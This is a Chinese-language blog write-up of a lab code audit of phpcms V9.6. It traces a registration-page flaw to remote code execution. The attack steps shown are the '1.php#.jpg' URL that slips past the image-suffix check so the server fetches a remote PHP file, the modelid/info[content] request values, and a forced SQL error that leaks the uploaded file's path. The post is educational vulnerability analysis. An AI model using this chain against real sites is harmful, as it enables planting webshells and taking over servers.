代码审计 | phpcmsV9.6超详细RCE代审流程

前言:

在代码审计中,漏洞出现都与数据输入有关。要跟用户输入的数据走,从数据流到控制流,看数据是否绕过,到达控制流

环境搭建

我使用的小皮面板搭建的,直接新建网站,然后点击配置,将端口修改为8081(不被占用即可)

图片

img

图片

img

在将zip包解压到wwwroot目录下(源码在附件中)

图片

img

访问安装页面,若不自动跳转,就自己拼接路径 http://192.168.111.12:8081/install/install.php

图片

img

一直点下一步,选择全新安装

图片

img

在账号设置中,自己填写记住即可

图片

img

然后就可以了

图片

img

图片

img

数据库

安装phpmyadmin来管理数据库

图片

img

成功后,点击管理,root/root即可进入

图片

img

代审:

在注册页面输入数据,跟进数据包,看看数据流

图片

img

这里我建议,拿burpsuite抓包,放包,方便后续的动态调试

图片

img

http://192.168.111.12:8081/index.php?m=member&c=index&a=register&siteid=1

根据路由分析,了解到基本的业务逻辑,跟着url找到关键的register方法

打个断点,监听,把抓到的数据包放行,phpstorm即可接收到数据

图片

img

就可以看到数据包的内容,跟进,看看数据包经过什么函数/方法

图片

img

register方法走的过程中,他创建一个数组userinfo,里面包含用户的信息

图片

img

看到包含了两个文件,并且实例化了member_input这个类,把user info中的modelid参数进行传参。

if($member_setting['choosemodel']) { require_once CACHE_MODEL_PATH.'member_input.class.php'; require_once CACHE_MODEL_PATH.'member_update.class.php'; $member_input = new member_input($userinfo['modelid']);  $_POST['info'] = array_map('new_html_special_chars',$_POST['info']); $user_model_info = $member_input->get($_POST['info']);  }

跟进meber_input这个类之后呢,直接执行析构函数,看一眼做了什么,大致意思是数据库操作,赋值缓存,加载附件类之类的。

function __construct($modelid) { $this->db = pc_base::load_model('sitemodel_field_model'); $this->db_pre = $this->db->db_tablepre; $this->modelid = $modelid; $this->fields = getcache('model_field_'.$modelid,'model'); //初始化附件类 pc_base::load_sys_class('attachment','',0); $this->siteid = param::get_cookie('siteid'); $this->attachment = new attachment('content','0',$this->siteid); }

执行完后,可以看到modelid是10(默认)、fields是birthday、table_name是v9_model_field,直接找到数据库中的v9_model_field,看看表里面的内容,确实都对应的上。

图片

img

漏洞出现:

图片

img

图片

img

尝试将modelid改为11,fields数组的值都变成11对应的字段,先不管,步出看后面的数据流向。

图片

img

图片

img

步出之后,执行下面的代码,POST传参info(只要是我们用户可控制的参数都要注意,所有的漏洞存因都是用户可控)将POST请求中的info进行new_html_special_chars函数处理,然后在调用member_input对象中的get方法,将info值当作参数进行传参,并赋值给$user_model_info.

这其中modelid和info[data]中的data值,是可控参数

图片

img

$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);$user_model_info = $member_input->get($_POST['info']);

跟进,把info的value值,当作data传递,然后进行trim_script函数处理,跟进trim_script函数,一看是xss过滤

图片

img

图片

img

步出,继续往下走,可以清楚的看到modelid和info的值,是可控的

图片

img

图片

img

get函数:首先判断data是否为数组,然后遍历data键值对,判断data数据中的islink是否为1,field是否在dedar_filed数组中,跳过该字段进入下一个循环,将field值进行safe_replace函数过滤,获取fields中的值,判断name的长度,​​​​​​​

if(is_array($data)) { foreach($data as $field=>$value) { if($data['islink']==1 && !in_array($field,$debar_filed)) continue; $field = safe_replace($field); $name = $this->fields[$field]['name']; $minlength = $this->fields[$field]['minlength']; $maxlength = $this->fields[$field]['maxlength']; $pattern = $this->fields[$field]['pattern']; $errortips = $this->fields[$field]['errortips']; if(empty($errortips)) $errortips = "$name 不符合要求!"; $length = empty($value) ? 0 : strlen($value); if($minlength && $length fields)) showmessage('模型中不存在'.$field.'字段'); if($maxlength && $length > $maxlength && !$isimport) { showmessage("$name 不得超过 $maxlength 个字符!"); } else { str_cut($value, $maxlength); } if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips); if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!"); $func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value); $info[$field] = $value; } } return $info;

在这里发现,将formtype当作要执行的函数,判断当前的对象是否存在func方法,(也就是formtype)。如果存在就调用该方法,并将field和value值当作参数传入

图片

img

首先查看当前对象有哪些方法可利用加上get(),一共6中方法,get()、textarea()、editor()、box()、images()、datetime()。欧克,也就是说filetype值一定要为这6个函数,否者直接退出不执行,

现在就是从这6个函数中,找到可以利用的点,​​​​​​

function textarea($field, $value) { if(!$this->fields[$field]['enablehtml']) $value = strip_tags($value); return $value; } function editor($field, $value) { $setting = string2array($this->fields[$field]['setting']); $enablesaveimage = $setting['enablesaveimage']; $site_setting = string2array($this->site_config['setting']); $watermark_enable = intval($site_setting['watermark_enable']); $value = $this->attachment->download('content', $value,$watermark_enable); return $value; } function box($field, $value) { if($this->fields[$field]['boxtype'] == 'checkbox') { if(!is_array($value) || empty($value)) return false; array_shift($value); $value = ','.implode(',', $value).','; return $value; } elseif($this->fields[$field]['boxtype'] == 'multiple') { if(is_array($value) && count($value)>1) { $value = ','.implode(',', $value).','; return $value; } } else { return $value; } } function images($field, $value) { //取得图片列表 $pictures = $_POST[$field.'_url']; //取得图片说明 $pictures_alt = isset($_POST[$field.'_alt']) ? $_POST[$field.'_alt'] : array(); $array = $temp = array(); if(!empty($pictures)) { foreach($pictures as $key=>$pic) { $temp['url'] = $pic; $temp['alt'] = str_replace(array('"',"'"),'`',$pictures_alt[$key]); $array[$key] = $temp; } } $array = array2string($array); return $array; } function datetime($field, $value) { $setting = string2array($this->fields[$field]['setting']); if($setting['fieldtype']=='int') { $value = strtotime($value); } return $value; }

思路:

逆向查找,通过modelidfield两个值,定位到datetime,若modeild为11,field为vision,则会filetype就会等于box,最后就会执行box函数

图片

img

而这两个都是我们可控的参数,这边我们测试一下,是否可以调用其他函数呢?

图片

img

图片

img

答案是可以的,那现在我们就需要去看editor是否存在利用点

进来之后分析editor函数

图片

img

前面没有发现什么,重点再download函数中,跟进,这里将content,$value值传参进入

首先一步一步判断,这里将新建一个当前时间的目录,并且对value值进行new_stripslashes函数过滤,就是去除反斜线,再进行正则比配

从远程下载文件到本地,保存在当时的时间目录中,且必须是图片后缀

(href|src)=([\"|']?)([^ \"'>]+\.(gif|jpg|jpeg|bmp|png))\2

图片

img

图片

img

传入,这么一个东西,跟进

图片

img

ok现在就可以清楚的看到断点已经下来了,并且过了正则

图片

img


继续往下走,获取文件的后缀,将文件名替换成时间+随机数+后缀,然后再与前面的也是时间目录拼接,最后得到

/www/admin/phpcms.com_80/wwwroot/uploadfile/2024/0819/20240819024321324.jpg

图片

img

图片

img

在下面继续跟进,$this->upload_func是copy函数,将file(自己上传的文件)复制到服务器中的newfile中,只要执行这一段,服务端(远程服务器)就会接收到请求信息,再次查看时,服务器已经存储该文件。

图片

img

图片

img

图片

img

那这样是不是要想可以上传php恶意文件到服务器呢?

那我们就要思考怎么绕过正则,理清思路:现在只要url绕过正则达到上传php文件,就可以了

modelid=11&info[content]='url'(href|src)=([\"|']?)([^ \"'>]+\.(gif|jpg|jpeg|bmp|png))\2

这个正则只验证了后缀,再前面的的fillurl函数中检测url中是否存在#,若存在就取#号前的部分

http://xxx/1.php#.jpghttp://xxx/1.php

图片

img

且在正则中绕过成功

图片

img

测试,确实可以访问获取1.php文件。

图片

img

难点:

php文件可上传到服务器,但是不返回路径

在上传完文件后会将$user_model_info,插入到数据库中,就是我们info[content]

图片

img

跟进!!!

将data,和table进行了传入,而此时数据库中的表变成了v9_member_detail

图片

img​​​​​​​

public function insert($data, $table, $return_insert_id = false, $replace = false) { if(!is_array( $data ) || $table == '' || count($data) == 0) { return false; } $fielddata = array_keys($data); $valuedata = array_values($data); array_walk($fielddata, array($this, 'add_special_char')); array_walk($valuedata, array($this, 'escape_string')); $field = implode (',', $fielddata); $value = implode (',', $valuedata); $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO'; $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')'; $return = $this->execute($sql); return $return_insert_id ? $this->insert_id() : $return; }

然后sql语句是:

INSERT INTO `phpcmsv9`.`v9_member_detail`(`content`,`userid`) VALUES ('href=http://192.168.111.12:8081/uploadfile/2024/0819/20240819093411467.php','6')

图片

img

因为content这个字段,是更改过的,再v9_member_detail表中不存在这个字段,所以导致强行sql报错,直接就将文件路径报出来了

解决成功:强制sql报错,爆出文件路径,访问即可成功

图片

img

图片

img

无偿获取网络安全优质学习资料与干货教程

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

  • 11
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值